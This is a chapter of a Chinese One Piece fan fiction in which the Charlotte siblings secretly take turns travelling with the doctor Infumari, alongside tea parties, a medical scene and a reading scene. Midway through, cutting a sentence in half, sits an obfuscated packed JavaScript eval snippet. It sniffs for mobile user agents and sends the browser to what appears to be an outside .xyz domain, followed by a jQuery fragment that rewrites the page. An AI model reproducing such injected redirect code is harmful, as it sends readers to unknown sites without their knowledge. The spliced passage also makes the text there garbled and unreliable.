64.夏洛特与飞鸟

作品:《学医救不了伟大航路

    想要离开托特兰,就必须满足女王“孩子”的一面和“海贼”的一面。


    所以茵弗提出帮她寻找修女加尔默罗,同时表明自己来新世界的一大原因是想要去艾尔巴夫,所以离开后愿意带着她的孩子一起,看看能否修复他们之间的关系。


    “您们母亲将带谁走的权利给了我,而我将交给您们。”


    不是所有的夏洛特都在,只是更熟的几位,但是佩罗斯佩罗在这里,所以权威性也有保障,他大概会结合意愿与能力水平综合考虑的,毕竟是BIGMOM的副手,即使他不是将星。他不弱,但是大局观与脑力,有时候比武力更重要。


    果然,他的第一个回答没有提出人选,而是询问道:“妈妈的思食症,你走了之后我们如何获得药物佩罗琳?”


    茵弗:“买?或者贿赂我?”


    高礼帽的男人舔着糖果,语气平淡地说:


    “【夏洛特】不会成为你的朋友,奇迹游医。”


    茵弗:“啊,但是【佩罗斯佩罗】可以。”


    BIGMOM不会是他的朋友,但是Sister玲玲可以。这就是托特兰对他来说的运作模式。


    他擦掉手指上的饼干渣,双手交握放在翘起腿的膝上,“我不怎么喜欢这儿,我从来都不想对甜食和日常用品给自己做脱敏。”


    气氛凝固了,布蕾的脸色变得苍□□架捏住自己的剑。阿曼德叼着未点燃的烟,摸了一把抓住她裙子的戚风的头。只有他那间牢房的看门者卡塔库栗,大概知道他日常生活中的难受,知道他戴起了手套,知道他“不喜欢呕吐”是多么的不喜欢。


    所以茵弗打量着他们的反应,失望,愤怒,背叛,只有他和佩罗斯佩罗神色如常。然后苋红色头发的男人弯起眼角——偷看未来的家伙。


    “放松点,小甜点们(Sweeties),我在这片土地上没法生活,但是我没说我讨厌您们。”


    躲开头上带火花的男人恼羞成怒投过来的武器,他又拿起一块饼干咬了一口。茶话会继续,就像那天一样。佩罗斯佩罗没有再提思食症药物的事,他已经做好选择了。


    “库库库,关于人选你有建议吗佩罗琳?”


    被询问的人摇头:“艾尔巴夫和您母亲之间的关系破裂内情您可能比我更清楚,能否修复主要看您们自己。”


    其实佩罗斯佩罗走一趟是最好的,足够聪明,懂得语言的艺术,知道何时进退,如何发挥他自身的和夏洛特的优势。但是在外界眼中他又又太过于【玲玲】,所以也许会引起巨人们更强烈的抗拒。


    将星们的话,卡塔库栗太“完美”,斯慕吉年龄经验还不足,只是刚当上将星而已,克力架的话...暴躁了一点。


    茵弗玛利:“嘛、其实就当跟着我出去玩一圈也行。就算没能获得巨人族的原谅您们母亲也怪不到您们,因为我跟她说了我只是去尝试,所以谁来其实都行。”


    出去玩?任务失败没有惩罚?这对夏洛特们来说可是稀奇到几乎不存在的经历了。他们生于斯长与斯,有自己的船的人离港要么是出征,要么是为妈妈收集某种甜食。出去玩什么?怎么玩?这是陌生的概念。


    面前的几个人明显该坐直的坐直,该兴奋的兴奋,但是都压抑着,谁都没有先开口。


    克力架咳嗽了一下:“咳、嗯,将星应该...不能去玩吧...不不不,就是因为是将星所以更适合为了妈妈去艾尔巴夫!”


    阿曼德:“就你那性子...搞砸了怎么办...要沉稳...我——”


    布蕾:“哥哥姐姐说的对!卡塔库栗哥哥最沉稳了!也是将星!”


    卡塔库栗:“咳、我已经出海很多次了,布蕾想去的话也...”


    罗拉:“我也想看看外面...”


    大福:“乖哦,罗拉,这次就让哥哥我先替你...”


    茵弗有点好笑地看他们七嘴八舌地找理由。佩罗斯佩罗居然都沉思起来了,是在想怎么让自己名正言顺的出去玩还是在考虑派谁去最好?


    嗯...要不要再添一把火呢?


    他慢悠悠地开口:“啊,不在这里的夏洛特们也可以的,他们——”


    佩罗斯佩罗立马递给他一根糖果示意他闭嘴:“没关系佩罗琳,我身为长子替弟弟妹妹们考虑也是应该的,我们先聊。”


    噗、所以是前者。


    托特兰的一切都是为女王服务的,岛屿,居民,夏洛特。就像他遇见的太多太多人,他们不知道除此之外还能怎样的活。自己到了罗杰的船上开始做孩子,他们从生下来到现在,都是妈妈的【夏洛特】。


    再看他们吵下去只会让自己难过,茵弗拍了一下手,就像是在波比上吸引艾斯他们的注意力。


    “我跟她说''带她的孩子''又没说只带一个。”


    众人激动一下,又蔫吧下去。那也不可能带所有人走,即使年龄太小的不算,也有太多的夏洛特。吐着舌头的长子环视自己的弟弟妹妹们,目光在布蕾的紫色眼影上停顿了一下。


    “库库库...作为临别礼物,我很愿意送你一面漂亮的大镜子放到波比上。”


    突然转移的话题让茵弗愣了一下,顺着佩罗斯佩罗的视线看向疑惑的布蕾后没忍住笑了出来。贪婪的海贼,贪婪的夏洛特。


    “哈哈哈,能藏好吗?”


    “不让妈妈知道就行了佩罗琳。”


    -


    世界经济新闻报又有了大新闻。自奇迹游医拒绝三皇BIGMOM的联姻,被扣押生死未知后,他再次在托特兰的海域外出现了。


    茵弗不介意摩尔冈斯给他的新闻会被涂成黑色,白色,还是灰色。所以别的颜色他也想玩一玩,桃色杏色樱色,也无所谓。


    没错,奇迹游医带着几位赫赫有名的夏洛特大概是,也许是,估计就是抵不住BIGMOM的压力,又无法抛开游医天性,要在旅行途中和几位培养一下感情然后选某一位结婚。


    让全世界猜他会成为哪一位夏洛特的伴侣吧,顺便猜猜他是会住在托特兰还是会带着另一半回到奥比塔拉去吧。


    其他的什么去修补巨人族关系啊,什么游玩旅游啊,什么合作啊没人知道就好了。他身边的夏洛特换来换去的也不许说,按着提供的人员名单报。信天翁把报纸卖了个爽,天天挥着翅膀嘎嘎地叫着加印加印。只要不影响他编八卦,茵弗的要求都通过通过。


    况且他也不敢惹夏洛特·佩罗斯佩罗。


    “哇...这上面说如果选大哥的话就会搬到托特兰,如果是我的话就会回奥比塔拉,凭什么啊!!老子不配让这个混蛋呆在托特兰吗!”


    “库库库...现在谁的票数比较高?”


    “唔咿唔咿,阿曼德姐姐呢。”


    “哈??昨天不还是老子吗!!佩罗斯大哥!给摩尔冈斯打电话虫吧!”


    “库库库。”


    茵弗训练室的房间里,新增了一面和墙差不多大的镜子,现在大大小小的夏洛特围在一起读报纸。关于他到底会和谁结婚,摩尔冈斯支持读者们通过多买报纸的方式投票。反正天天都占很大一个板块,编一些真真假假的昨日“亲密举动”然后列出当天投票结果,热热闹闹的。


    BIGMOM知道了也无所谓,他要是真的这一趟结束就选一位联姻了,估计她也开心,甚至还打电话虫来问“进度如何”。


    不过“名单”,也就是茵弗明面上带走的人选只有三位:佩罗斯佩罗、克力架、和阿曼德。所以摩尔冈斯在发现话题爆火之后特意亲自来电告知:下一次请多带一些,年龄大年龄小的都来一点,这样他能赚得更多。


    原来...这世界上的人都这么闲的啊...还是说难得有这么大的八卦...大家都很喜欢呢?茵弗在给他们送茶点后无语略过吵吵嚷嚷的房间,回到图书室打电话虫。


    给雷利报个平安,然后拜托他转告所有人就好,顺便问一下那边的近况。还有,是的,我没有要结婚。


    门被敲了几下,嘉蕾特的脑袋探进来,说快要到蔓岐亚岛了。


    “好的,小姐,您的兄弟姐妹们谁想去都安排好了?无人岛的话人多一点也没关系。”


    如果是有城镇的岛,茵弗会带着“常驻”的某一位明晃晃地上岛“约会”,然后其他想在这个地方游玩的夏洛特们就做好伪装后自己去玩,只是人不能多。


    或者他会把波比停在远处,然后让他们自己划船去,偶尔被发现也没关系,毕竟BIGMOM经常派孩子们去给她收集甜食也是正常的。


    无人岛就随便他们撒欢。


    夏洛特们也很珍惜这次机会,知道暴露了不仅给他们,也会给茵弗带来很大麻烦。所以每到一个岛屿之前,他们就会安排好最感兴趣的兄弟姐妹都有哪些,控制人数,互相伪装照顾,其他人就通过镜子回托特兰,如此轮流交换。


    等挂掉电话虫回到训练室,已经没人在了。茵弗收拾着地上的垫子盘子,吃剩的点心和旧报纸放到一边。加了镜子显得房间很大,多了一倍空间的幻觉。如果训练的话,可以看到自己的动作?


    茵弗拔出佩刀,做了一个挥刀的基础式锻炼,一边看着自己的动作是否标准。好久没用刀打架了,雷利在这里可能会像当年一样敲敲他的腿和胳膊,让他身体打直什么的。


    他收起佩刀,看了自己的倒影一会儿,然后开始试着跳舞。花柳流他不太记得了,以藏只教过自己一次,但大概模仿着记忆里的漂亮武士轻声哼歌,柔腰展臂,轻旋抬腿。


    果然不穿和服,手里不拿折扇的话会很傻。


    他对着镜子里自己蠢蠢的样子咧咧嘴。然后在下一刻看到从里面钻出来的卡塔库栗。


    ???


    不会被看到了吧。我的人生...居然还会有这么羞耻的时刻吗?算了、跳海去吧。


    卡塔库栗看他一脸死亡的样子觉得好笑,没有说自己看他有一会儿了,很贴心地换了个话题。


    “他们去玩了?”


    茵弗眼神飘忽不看他,笑眯眯地回答:“啊、是。蔓岐亚是无人岛,您可以去,他们没走太久。”


    卡塔库栗摇摇头,这次他来有别的目的。


    自己是将星,佩罗斯大哥和克力架既然都去了,妈妈不会允许他和斯慕吉也随行的。所以他们“留在”托特兰,这也是理所当然。


    因此靠着镜子坐下的时候,茵弗玛利有点尴尬地坐到他对面挠着脸道歉说不能光明正大地带他很抱歉,明明在托特兰受他照顾最多,他只是再次摇了摇头。


    他没有怎么照顾他。茵弗玛利在托特兰过得并不好,尤其是每次见了妈妈之后。虽然后来他不再呕吐,但是总是会很没精神地躺在床上,也不睡觉,好像就是在试着努力呼吸。大概是能力的原因,接触霍米兹会对他带来某种影响,而它们到处都是。他不是客人,他是妈妈的囚徒。只不过牢笼的位置从蒙多尔的书里变到卡塔库栗的城堡里而已。


    所以那天在小茶话会上,他说他不喜欢托特兰,他没有惊讶。


    他们是海贼,这是个海贼的国家,他们本来也不需要别人的喜欢。只是身边围绕着失望委屈的弟弟妹妹的时候,卡塔库栗突然觉得,也许之前自己多照顾他一点就好了。


    直到他离开,仍然是茵弗玛利在照顾夏洛特。不仅是布蕾的事,思食症,斯纳格,还有“朋友”。夏洛特只看重家人,但是弟弟妹妹们喜欢他,包括总是跟他吵架打架的克力架。哥哥姐姐也喜欢他,他们总是请他去喝茶。而他带着他们出来了,因为“他不讨厌他们”。


    兄弟姐妹们在城里逛街,在无人岛探险,他们不止是为了妈妈而存在,而是为了“玩”。每一次收到接下来波比会去哪个岛的消息,托特兰的夏洛特们都会叽叽喳喳地讨论谁去。他们聊自己上一次去看到了什么,又学会了什么,喜欢哪个岛上的哪家餐馆。轮换回来的兄弟姐妹们都带着笑容,身上沾着某个岛庆典后甜腻的爆米花香气和彩色涂料,或者头发里留着一点在某片丛林里嬉戏后的枝叶。


    他们讨论那三个“被带走”的兄弟姐妹,谁又和茵弗玛利做了什么“亲密举动”,是不是真的,吵起来就打电话虫,或者直接跑过去询问。他们给自己喜欢的一位买报纸投票,即使所有人都知道是假的。


    他的家人很好,很快乐,很享受不用做【夏洛特】的大海。卡塔库栗爱自己的家人,即使他只能偶尔和他们去一次无人岛。但是不用杀戮,不用掠夺,他只用努力蹲下弯腰,等戚风给他戴上用野花编制的花环——他感到满足。


    所以他来感谢他。所以他说:“谢谢。”


    茵弗玛利看着他,轻轻地说不客气。那么轻,那么软,像一阵微风,蝴蝶振翅。


    他送了他一根羽毛,“如果记得羽毛的触感,记得风吹过脸颊,记得云,记得不是果汁的海,也许您们也能记得,自己短暂地做过一只鸟。”


    啊,原来如此。每一位参与了这场玩乐的夏洛特都收到了茵弗玛利的羽毛,他询问时,阿曼德脸上只是露出一个难得的,神秘的微笑。布蕾眼睛红红,说哥哥会知道的,看来现在轮到自己了。


    他点点头,将它揣到口袋里。


    时间快到了,他有些紧张,但是布蕾鼓励了他一百遍,说好这段时间不会让人通过镜子。所以他憋红耳朵,挠了挠脸,在茵弗玛利疑惑的歪头里小声询问:“咳、你想...吃下午茶吗,茵弗玛利?我准备了甜甜圈...和吐司。”


    声音那么小,那么轻,像一只刚破壳的雏鸟。


    茵弗玛利嘻嘻一笑,起身去锁上训练室的大门。


    他没反应,自己拉下围巾的时候,他只是扫了一眼,说和他估计的不太一样。他没说丑,也没说帅气,就只是不在乎,忙着比划自己和巨型甜甜圈之间的大小。


    “这怎么吃?可以一口


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015580|154812||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    咬到馅料吗?还是里面没有馅料?”


    自己展示之后,对方只是说好羡慕,然后试图学着他的样子长大嘴巴咬他的吐司,嘟囔着说不行,没有您那种气势。


    初始的紧张过后,他躺在地上哼唱自己的甜甜圈之歌。茵弗玛利没躺下,他说自己会噎到,但是也开始编什么美味吐司之歌。然后说“我就知道您肯定躺着睡觉,床上有糖霜的味道呢。”


    “美味的~甜甜圈~”


    “好吃的~吐司~~”


    “洞也很美味的~甜甜圈~”


    “边边也很好吃的~吐司~”


    “简直就是禁忌~”


    “真是神迹啊~”


    他确实是个夏洛特。和别人一起开“茶话会”,享受甜食的感觉很好。


    兄弟姐妹们回来之前,他们打扫干净场地,然后茵弗玛利说可以在他的房间里放一面镜子,让布蕾连通,他想来一起吃下午茶就不用担心撞到其他人。


    “果然小麦岛的吐司超好吃的啊~下次想要杏仁吐司拜托。”


    “我知道了。”


    噼里啪啦的脚步声传来,还有克力架的大叫,卡斯塔德呼唤茵弗玛利医生的声音。茵弗习以为常地拍拍卡塔库栗让他去搬镜子到他房间,自己去看那个火花头又磕碰到哪了。


    “所以说在无人岛就小心一点啊,怕痛就好好穿壳子。”


    这次居然不是小磕小碰,真的受伤了,腹部一道血淋淋的伤口。


    “都是大福那个混蛋!!什么不用能力比赛谁能爬到最大的藤蔓上摘什么破花的!”


    茵弗在医务室的柜子里拿出一个标着【饼干】的瓶子,在一块软布上倒了一点后走到病床边放在他鼻子上让他自己捂着。


    “深呼吸。”


    这家伙打针也怕痛,治疗也怕痛,只能弄点吸入式的镇痛麻药。为了高效,又让他不在后反劲的时候叫唤,他熬了多少个夜改良它啊真的是。


    等紫发男人安静下来,身体也不再痛的抽搐,茵弗勾过一个矮脚凳坐在他面前,用镊子戳了两下伤口附近的皮肤。


    “痛吗?”


    “...不痛。”


    清理创口,把断在里面的小刺取出,稍微有点毒素也不知道是爬了什么藤蔓。虽然知道有麻药他不痛了,他还是放轻柔动作,慢慢一点点地缝合。在克力架缩了一下的时候问他痛吗?


    “不痛...你离远点,气吹在身上老子痒。”


    茵弗笑了一声,“您怎么怕痛又怕痒的,不过应该感觉不到吧。”然后故意吹吹他的伤口,就像哄萨博他们一样,“给你呼呼,痛痛飞走。”


    克力架耳朵都红了,恼羞成怒地叫唤:“老子不是三岁小孩!你赶紧的!”


    其实伤口不大,缝好裹上纱布就行,涂了点针对毒素的药,听起来是致幻的,不过克力架没什么反应的样子应该对他来说没到那种程度。


    “行了,这几天别喝酒,别吃辛辣,不然发炎痛死您,麻药劲过了痛的话再来找我。”


    他收好用具,随嘴问了一句:“所以您赢了没啊?”


    克力架:“我——”


    医务室的门被粗鲁地推开,垂眼角的高大男人手中抓着一朵黑紫色的大花,大笑着说:“在这儿呢啊茵弗玛利!老子给你摘的!闻一口就晕乎,你肯定喜欢!”


    茵弗有些惊喜地接过:“哦!原来是阿尔蒂花啊,我就说什么大藤蔓还长致幻的刺,谢谢您大福先生!”


    大福:“没事儿!你不是喜欢这些什么花啊草啊的,那我回托特兰了啊。”


    茵弗:“好的谢谢您,您上次提到的热奶油团子我试着做了一些在饭厅桌上,套了保温袋,带回去和欧文先生一起吃吧。”


    只是闻一闻花的话不会出现幻觉,不过还是会头晕的,大福大概吸入不少花粉吧,脚步有些晃荡地往厨房方向去了。


    茵弗有些美滋滋地把手里的阿尔蒂花卷起放到压台上,等着其中的汁液慢慢被榨出滴到下面的空瓶里。好东西捏,一整株巨大藤蔓三年只长一朵。


    回过头看向还没走的克力架,调笑一声:“输了啊,饼干先生。”


    克力架咬牙切齿,憋了半天,最后一直放在口袋里的手拿了出来,攥着一朵有点蔫吧的野花。“没输!是花就行呗。”


    茵弗接过,捏着茎看软趴趴垂下的花朵,笑着说:“小雏菊啊,我也喜欢的,谢谢您。”


    那小白花被压成了书签,塑封在透明的塑料里,他在角落画了一块冒着火花的饼干。


    “库库库,很像克力架佩罗琳。”


    “我也是这么觉得的,薄荷糖先生。”


    又到了“约会”的时候,这次轮到佩罗斯佩罗。抽签决定人选,然后他们往人最多的地方晃悠,转移注意力。


    一般和阿曼德会逛街。茵弗很喜欢她的风格,优雅又帅气。蛇首族长长的脖子和白皙的皮肤都很适合戴颈饰,所以他送了她很多,还有夸张造型的耳环,她也给他搭配了一身看起来像是古堡王子一样的衣服。


    和佩罗斯佩罗的话就是随便散步聊天,聊聊合作,生意,海军海贼,或者随便找地方坐着吃点心。


    总之这次是在中央大街的某家咖啡厅的外部座椅上看书。


    “后天大概您又能排第一了吧。”


    “我排第一还真是难得呢佩罗琳。”


    茵弗翻过一页书。


    【他是展开双翼比肩日月的鸟,在阴影下嬉闹的毛团子发着光。】


    “我没太关注,不过您们三位应该当第一的时候差不多吧?毕竟这样那只信天翁才好赚钱啊。”


    虽然是买报纸投票,但他是不信没有黑幕的。报纸这东西,也就那么回事吧。


    “库库库,不是说这个第一。”


    【姊妹啊!他呼唤着,请吞下我猎回的鼠,好丰满你的羽毛。风要来了,不要向低处滑翔。】


    茵弗嗯了一声,翻动纸张。


    【狐狸与蛇,蛋与巢,如何生,如何死,那是高处才能赏得景,喙啄开的老虎斑纹。】


    “下次茶话会,我会准备一份不是霍米兹的用具和餐点佩罗琳。”


    “夏洛特没您得散。”


    【成为日,成为月吧,他抖动自己的羽毛。那天空那么远,兄弟啊!不要在低处滑翔。】


    哗啦——


    他念出在阳光下照得斑白,有些晃眼的文字。


    “''起飞吧,他发出咕咕咕的笑。吻别母亲,吻别父亲,吻别那些死尸与蛋壳——''”


    佩罗斯佩罗的声音与搅动咖啡的声音一同刺穿街道的喧闹。


    “''——在羽毛飘落的暴雨里,他跃到枝桠上远眺,收起自己比肩大海的羽翅。''”


    茵弗翻过一页书。


    “库库库你喜欢读这类书吗,茵弗玛利?”


    “完全、读不懂呢,不过,是很帅气的大鸟。”